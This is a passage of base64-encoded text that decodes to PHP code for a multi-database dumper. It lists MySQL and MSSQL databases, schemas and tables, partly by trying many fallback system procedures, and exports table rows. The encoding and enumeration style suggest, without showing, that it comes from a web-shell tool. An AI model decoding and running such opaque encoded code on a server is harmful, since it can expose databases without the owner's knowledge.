Dogc3RydG91cHBlcigkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRhWyR2XSA9PT0gJ0lOVCcgfHwgJGFbJHZdID09PSAnUkVBTCcpICYmICgkcyA9IG15c3FsX2ZpZWxkX2xlbigkcSwgJGkpKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskdl0gLj0gJygnIC4gJHMgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfc3RyaW5nKCRzID0gbXlzcWxfZmllbGRfZmxhZ3MoJHEsICRpKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAndW5zaWduZWQnKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIFVOU0lHTkVEJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAnemVyb2ZpbGwnKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIFpFUk9GSUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAnbm90X251bGwnKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAnYXV0b19pbmNyZW1lbnQnKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIEFVVE9fSU5DUkVNRU5UJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRzLCAncHJpbWFyeV9rZXknKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIFBSSU1BUlkgS0VZJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKHN0cnBvcygkcywgJ3VuaXF1ZV9rZXknKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSAuPSAnIFVOSVFVRSBLRVknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoc3RycG9zKCRzLCAnbXVsdGlwbGVfa2V5JykgIT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskdl0gLj0gJywgS0VZKCcgLiBteXNxbEVzY05hbWUoJHYpIC4gJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlIChpc19zdHJpbmcoJHYgPSBteXNxbF9maWVsZF9uYW1lKCRxLCArKyRpKSkpOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCgkdiA9IG15c3FsX3F1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcgLiAkZSAuICcgTElNSVQgMScsICR0aGlzLT5fY25jdCkpICYmICgkdiA9IG15c3FsX2ZldGNoX2Fzc29jKCR2KSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkcykKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoQXNzb2MoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPl9yZXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoUm93KCkgewogICAgICAgICAgICAgICAgcmV0dXJuIG15c3FsX2ZldGNoX3JvdygkdGhpcy0+X3Jlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHYpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHRoaXMtPl9yZXMgPSBteXNxbF9xdWVyeSgkdiwgJHRoaXMtPl9jbmN0KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHQsICRjLCAkZikgewogICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICRpID0gJHRoaXMtPm91dENyZWF0ZVRhYmxlKCRiLCAkdCk7CiAgICAgICAgICAgICAgICAkYyA9IHNxbEpvaW5Db2x1bW5zKCRjLCAnbXlzcWxFc2NOYW1lJyk7CiAgICAgICAgICAgICAgICBpZiAoKCRxID0gbXlzcWxfdW5idWZmZXJlZF9xdWVyeSgnU0VMRUNUICcgLiAkYyAuICcgRlJPTSAnIC4gbXlzcWxFc2NOYW1lKCRiLCAkdCksICR0aGlzLT5fY25jdCkpICYmICgkdiA9IG15c3FsX2ZldGNoX2Fzc29jKCRxKSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgIHNxbE91dEluc2VydChteXNxbEVzY05hbWUoJHQpLCAkYyk7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGltcGxvZGUoJzsnLCBhcnJheV9rZXlzKCR2KSksICJcbiI7CiAgICAgICAgICAgICAgICAgICAgJGQgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGQ7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkID0gJGYgPyAnLCcgOiAiXG4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRWYWx1ZXMoJHYsICdteXNxbEVzY0RhdGEnKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3N2T3V0VmFsdWVzKCR2KTsKICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9IG15c3FsX2ZldGNoX3JvdygkcSkpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiO1xuIjsKICAgICAgICAgICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAkaSAuPSBzcHJpbnRmKEVfU0xDVERULCAkYiAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgIHJldHVybiAkaTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBjbG9zZSgpIHsKICAgICAgICAgICAgICAgIG15c3FsX2Nsb3NlKCR0aGlzLT5fY25jdCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xhc3MgTXlTUUxpQ2xpZW50IGV4dGVuZHMgTXlTUUxCYXNlIHsKICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgIGlmICgkaCAhPT0gTlVMTCAmJiAoJHYgPSBzdHJycG9zKCRoLCAnOicpKSkgewogICAgICAgICAgICAgICAgICAgICR0ID0gKGludCkgc3Vic3RyKCRoLCAkdiArIDEpOwogICAgICAgICAgICAgICAgICAgICRoID0gc3Vic3RyKCRoLCAwLCAkdik7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAkdCA9IE5VTEw7CiAgICAgICAgICAgICAgICBpZiAoISgkdGhpcy0+X2NuY3QgPSBteXNxbGlfY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJHQpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICBteXNxbGlfcXVlcnkoJHRoaXMtPl9jbmN0LCAnU0VUIE5BTUVTICcgLiAkdGhpcy0+Y2hhcnNldCgkYykpOwogICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9jbmN0KSB7CiAgICAgICAgICAgICAgICAgICAgJHYgPSBteXNxbGlfZXJyb3IoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgICAgICBteXNxbGlfY2xvc2UoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHY7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiB0cnlRdWVyaWVzKCRhKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9yZXMgPSBteXNxbGlfcXVlcnkoJHRoaXMtPl9jbmN0LCAkdikpCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoQmFzZSgpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHYgPSBteXNxbGlfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKSkgPyAkdlswXSA6IEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoVGFibGUoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCR2ID0gbXlzcWxpX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpID8gJHZbMF0gOiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRUYWJsZVNpemUoJGIsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHYgPSBteXNxbGlfcXVlcnkoJHRoaXMtPl9jbmN0LCAnU0VMRUNUIENPVU5UKCopIEZST00gJyAuIG15c3FsRXNjTmFtZSgkYiwgJHQpKSkgewogICAgICAgICAgICAgICAgICAgICR2ID0gbXlzcWxpX2ZldGNoX3Jvdygkdik7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR2WzBdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuICciPyInOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJGEgPSBwYXJlbnQ6OmdldENvbHVtbnMoJGIsICR0KSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAkZSA9IG15c3FsRXNjTmFtZSgkYiwgJHQpOwogICAgICAgICAgICAgICAgJHEgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGlmICgkcSA9IG15c3FsaV9xdWVyeSgkdGhpcy0+X2NuY3QsICdTRUxFQ1QgKiBGUk9NICcgLiAkZSAuICcgTElNSVQgMScpKSB7CiAgICAgICAgICAgICAgICAgICAgJHkgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ0RFQ0lNQUwnLAogICAgICAgICAgICAgICAgICAgICAgICAnVElOWUlOVCcsCiAgICAgICAgICAgICAgICAgICAgICAgICdTTUFMTElOVCcsCiAgICAgICAgICAgICAgICAgICAgICAgICdJTlQnLAogICAgICAgICAgICAgICAgICAgICAgICAnRkxPQVQnLAogICAgICAgICAgICAgICAgICAgICAgICAnRE9VQkxFJywKICAgICAgICAgICAgICAgICAgICAgICAgJ05VTEwnLAogICAgICAgICAgICAgICAgICAgICAgICAnVElNRVNUQU1QJywKICAgICAgICAgICAgICAgICAgICAgICAgJ0JJR0lOVCcsCiAgICAgICAgICAgICAgICAgICAgICAgICdNRURJVU1JTlQnLAogICAgICAgICAgICAgICAgICAgICAgICAnREFURScsCiAgICAgICAgICAgICAgICAgICAgICAgICdUSU1FJywKICAgICAgICAgICAgICAgICAgICAgICAgJ0RBVEVUSU1FJywKICAgICAgICAgICAgICAgICAgICAgICAgJ1lFQVInLAogICAgICAgICAgICAgICAgICAgICAgICAnTkVXREFURScsCiAgICAgICAgICAgICAgICAgICAgICAgIDE2ID0+ICdCSVQnLAogICAgICAgICAgICAgICAgICAgICAgICAyNDYgPT4gJ0RFQ0lNQUwnLAogICAgICAgICAgICAgICAgICAgICAgICAyNDcgPT4gJ0VOVU0nLAogICAgICAgICAgICAgICAgICAgICAgICAyNDggPT4gJ1NFVCcsCiAgICAgICAgICAgICAgICAgICAgICAgIDI0OSA9PiAnVElOWScsCiAgICAgICAgICAgICAgICAgICAgICAgIDI1MCA9PiAnTUVESVVNJywKICAgICAgICAgICAgICAgICAgICAgICAgMjUxID0+ICdMT05HJywKICAgICAgICAgICAgICAgICAgICAgICAgMjUyID0+ICcnLAogICAgICAgICAgICAgICAgICAgICAgICAyNTMgPT4gJ1ZBUkNIQVInLAogICAgICAgICAgICAgICAgICAgICAgICAyNTQgPT4gJ0NIQVInLAogICAgICAgICAgICAgICAgICAgICAgICAyNTUgPT4gJ0dFT01FVFJZJwogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEoJHYgPSBteXNxbGlfZmV0Y2hfZmllbGRzKCRxKSkgJiYgKCRpID0gbXlzcWxpX2ZldGNoX2ZpZWxkKCRxKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdltdID0gJGk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCRpID0gbXlzcWxpX2ZldGNoX2ZpZWxkKCRxKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdikgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkaSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpLT50eXBlID4gMjQ4ICYmICRpLT50eXBlIDwgMjUzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzID0gJHlbJGktPnR5cGVdIC4gKCgkaS0+ZmxhZ3MgJiAxNikgPyAnQkxPQicgOiAnVEVYVCcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzID0gaXNzZXQoJHlbJGktPnR5cGVdKSA/ICR5WyRpLT50eXBlXSA6ICdCTE9CJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaS0+ZmxhZ3MgJiAzMjc2OCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcoJyAuICRpLT5sZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpLT5kZWNpbWFscykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJywnIC4gJGktPmRlY2ltYWxzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaS0+ZmxhZ3MgJiAzMikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIFVOU0lHTkVEJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaS0+ZmxhZ3MgJiA2NCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIFpFUk9GSUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaS0+ZmxhZ3MgJiAxKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgTk9UIE5VTEwnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRpLT5kZWYpICYmICRpLT5kZWYgIT09ICcnICYmICRpLT5kZWYgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBERUZBVUxUICcgLiBteXNxbEVzY0RhdGEoJGktPmRlZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGktPmZsYWdzICYgNTEyKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgQVVUT19JTkNSRU1FTlQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpLT5mbGFncyAmIDIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBQUklNQVJZIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCgkaS0+ZmxhZ3MgJiA0KSB8fCAoJGktPmZsYWdzICYgNjU1MzYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgVU5JUVVFIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCgkaS0+ZmxhZ3MgJiA4KSB8fCAoJGktPmZsYWdzICYgMTYzODQpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcsIEtFWSgnIC4gbXlzcWxFc2NOYW1lKCRpLT5uYW1lKSAuICcpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRpLT5uYW1lXSA9ICRzOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRxKSkgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRrXSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoQXNzb2MoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxpX2ZldGNoX2Fzc29jKCR0aGlzLT5fcmVzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFJvdygpIHsKICAgICAgICAgICAgICAgIHJldHVybiBteXNxbGlfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBxdWVyeSgkdikgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdGhpcy0+X3JlcyA9IG15c3FsaV9xdWVyeSgkdGhpcy0+X2NuY3QsICR2KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHQsICRjLCAkZikgewogICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICRpID0gJHRoaXMtPm91dENyZWF0ZVRhYmxlKCRiLCAkdCk7CiAgICAgICAgICAgICAgICAkYyA9IHNxbEpvaW5Db2x1bW5zKCRjLCAnbXlzcWxFc2NOYW1lJyk7CiAgICAgICAgICAgICAgICBpZiAoKCRxID0gbXlzcWxpX3F1ZXJ5KCR0aGlzLT5fY25jdCwgJ1NFTEVDVCAnIC4gJGMgLiAnIEZST00gJyAuIG15c3FsRXNjTmFtZSgkYiwgJHQpLCBNWVNRTElfVVNFX1JFU1VMVCkpICYmICgkdiA9IG15c3FsaV9mZXRjaF9hc3NvYygkcSkpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQobXlzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBpbXBsb2RlKCc7JywgYXJyYXlfa2V5cygkdikpLCAiXG4iOwogICAgICAgICAgICAgICAgICAgICRkID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRkOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0VmFsdWVzKCR2LCAnbXlzcWxFc2NEYXRhJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNzdk91dFZhbHVlcygkdik7CiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSBteXNxbGlfZmV0Y2hfcm93KCRxKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI7XG4iOwogICAgICAgICAgICAgICAgICAgIG15c3FsaV9mcmVlX3Jlc3VsdCgkcSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAkaSAuPSBzcHJpbnRmKEVfU0xDVERULCAkYiAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgIHJldHVybiAkaTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBjbG9zZSgpIHsKICAgICAgICAgICAgICAgIG15c3FsaV9jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG1zc3FsRXNjRGF0YSgkdikgewogICAgICAgICAgICByZXR1cm4gIiciIC4gc3RyX3JlcGxhY2UoIiciLCAiJyciLCAkdikgLiAiJyI7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIG1zc3FsRXNjTmFtZSgpIHsKICAgICAgICAgICAgJGEgPSBmdW5jX2dldF9hcmdzKCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KQogICAgICAgICAgICAgICAgJGFbJGtdID0gJ1snIC4gc3RyX3JlcGxhY2UoJ10nLCAnXV0nLCAkdikgLiAnXSc7CiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcuJywgJGEpOwogICAgICAgIH0KICAgICAgICBjbGFzcyBNU1NRTEJhc2UgZXh0ZW5kcyBTUUxCYXNlIHsKICAgICAgICAgICAgdmFyICRoYXZlU2NoZW1hcyA9IFRSVUUsICRjYW5QYWdpbmF0ZSA9IFRSVUUsICRfYmFzZSA9IE5VTEw7CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldEJhc2VzKCkgewogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT50cnlRdWVyaWVzKGFycmF5KAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSBGUk9NIHN5cy5kYXRhYmFzZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSBGUk9NIHN5cy5zeXNkYXRhYmFzZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSBGUk9NIG1hc3Rlci5kYm8uc3lzZGF0YWJhc2VzJywKICAgICAgICAgICAgICAgICAgICAnRVhFQyBzcF9vbGVkYl9kYXRhYmFzZScsCiAgICAgICAgICAgICAgICAgICAgJ0VYRUMgbWFzdGVyLmRiby5zcF9tc2RidXNlcmFjY2VzcyAiZGIiJywKICAgICAgICAgICAgICAgICAgICAnRVhFQyBtYXN0ZXIuc3lzLnNwX21zZGJ1c2VyYWNjZXNzICJkYiInLAogICAgICAgICAgICAgICAgICAgICJFWEVDIHNwX21zZm9yZWFjaGRiICdTRUxFQ1QgJyc/JycnIiwKICAgICAgICAgICAgICAgICAgICAnRVhFQyBzcF9oZWxwZGInLAogICAgICAgICAgICAgICAgICAgICdFWEVDIHNwX2RhdGFiYXNlcycsCiAgICAgICAgICAgICAgICAgICAgJ0VYRUMgc3Bfb2xlZGJfZGVmZGInLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1QgY2F0YWxvZ19uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIERCX05BTUUoKScKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNjaGVtYXMoJGIpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+dHJ5UXVlcmllcyhhcnJheSgKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIE5VTEwsc2NoZW1hX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgTlVMTCxuYW1lIEZST00gc3lzLnNjaGVtYXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hX2lkLFNDSEVNQV9OQU1FKHNjaGVtYV9pZCkgRlJPTSBzeXMuYWxsX29iamVjdHMnLAogICAgICAgICAgICAgICAgICAgICdFWEVDIHNwX3NjaGVtYXRhX3Jvd3NldCcsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCBzY2hlbWFfaWQsU0NIRU1BX05BTUUoc2NoZW1hX2lkKSBGUk9NIHN5cy5vYmplY3RzJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIERJU1RJTkNUIHNjaGVtYV9pZCxTQ0hFTUFfTkFNRShzY2hlbWFfaWQpIEZST00gc3lzLnRhYmxlcycsCiAgICAgICAgICAgICAgICAgICAgIlNFTEVDVCBOVUxMLG5hbWUgRlJPTSBzeXMuZGF0YWJhc2VfcHJpbmNpcGFscyBXSEVSRSB0eXBlPSdTJyIKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlcygkYiwgJHMpIHsKICAgICAgICAgICAgICAgICRzID0gbXNzcWxFc2NEYXRhKCRzKTsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cXVlcnkoJ1NFTEVDVCBTQ0hFTUFfSUQoJyAuICRzIC4gJyknKSAmJiAoJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSkgJiYgJHZbMF0pIHsKICAgICAgICAgICAgICAgICAgICAkc3IgPSAnc2NoZW1hX2lkPScgLiAkdlswXTsKICAgICAgICAgICAgICAgICAgICAkdXIgPSAndWlkPScgLiAkdlswXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHNyID0gJ1NDSEVNQV9OQU1FKHNjaGVtYV9pZCk9JyAuICRzOwogICAgICAgICAgICAgICAgICAgICR1ciA9ICdTQ0hFTUFfTkFNRSh1aWQpPScgLiAkczsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+dHJ5UXVlcmllcyhhcnJheSgKICAgICAgICAgICAgICAgICAgICAiU0VMRUNUIG5hbWUgRlJPTSBzeXMuYWxsX29iamVjdHMgV0hFUkUgdHlwZSBJTignVScsJ1MnLCdWJykgQU5EICIgLiAkc3IsCiAgICAgICAgICAgICAgICAgICAgJ0VYRUMgc3BfdGFibGVzIEB0YWJsZV9vd25lcj0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgIlNFTEVDVCBuYW1lIEZST00gc3lzLm9iamVjdHMgV0hFUkUgdHlwZSBJTignVScsJ1MnLCdWJykgQU5EICIgLiAkc3IsCiAgICAgICAgICAgICAgICAgICAgIlNFTEVDVCBuYW1lIEZST00gc3lzb2JqZWN0cyBXSEVSRSB4dHlwZSBJTignVScsJ1MnLCdWJykgQU5EICIgLiAkdXIsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyAuICRzLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgbmFtZSBGUk9NIHN5cy50YWJsZXMgV0hFUkUgJyAuICRzciwKICAgICAgICAgICAgICAgICAgICAiRVhFQyBzcF9tc2ZvcmVhY2h0YWJsZSAnU0VMRUNUIFBBUlNFTkFNRSgnJz8nJywxKScsIEB3aGVyZWFuZD0nQU5EICIgLiBzdHJfcmVwbGFjZSgiJyIsICInJyIsICRzcikgLiAiJyIKICAgICAgICAgICAgICAgI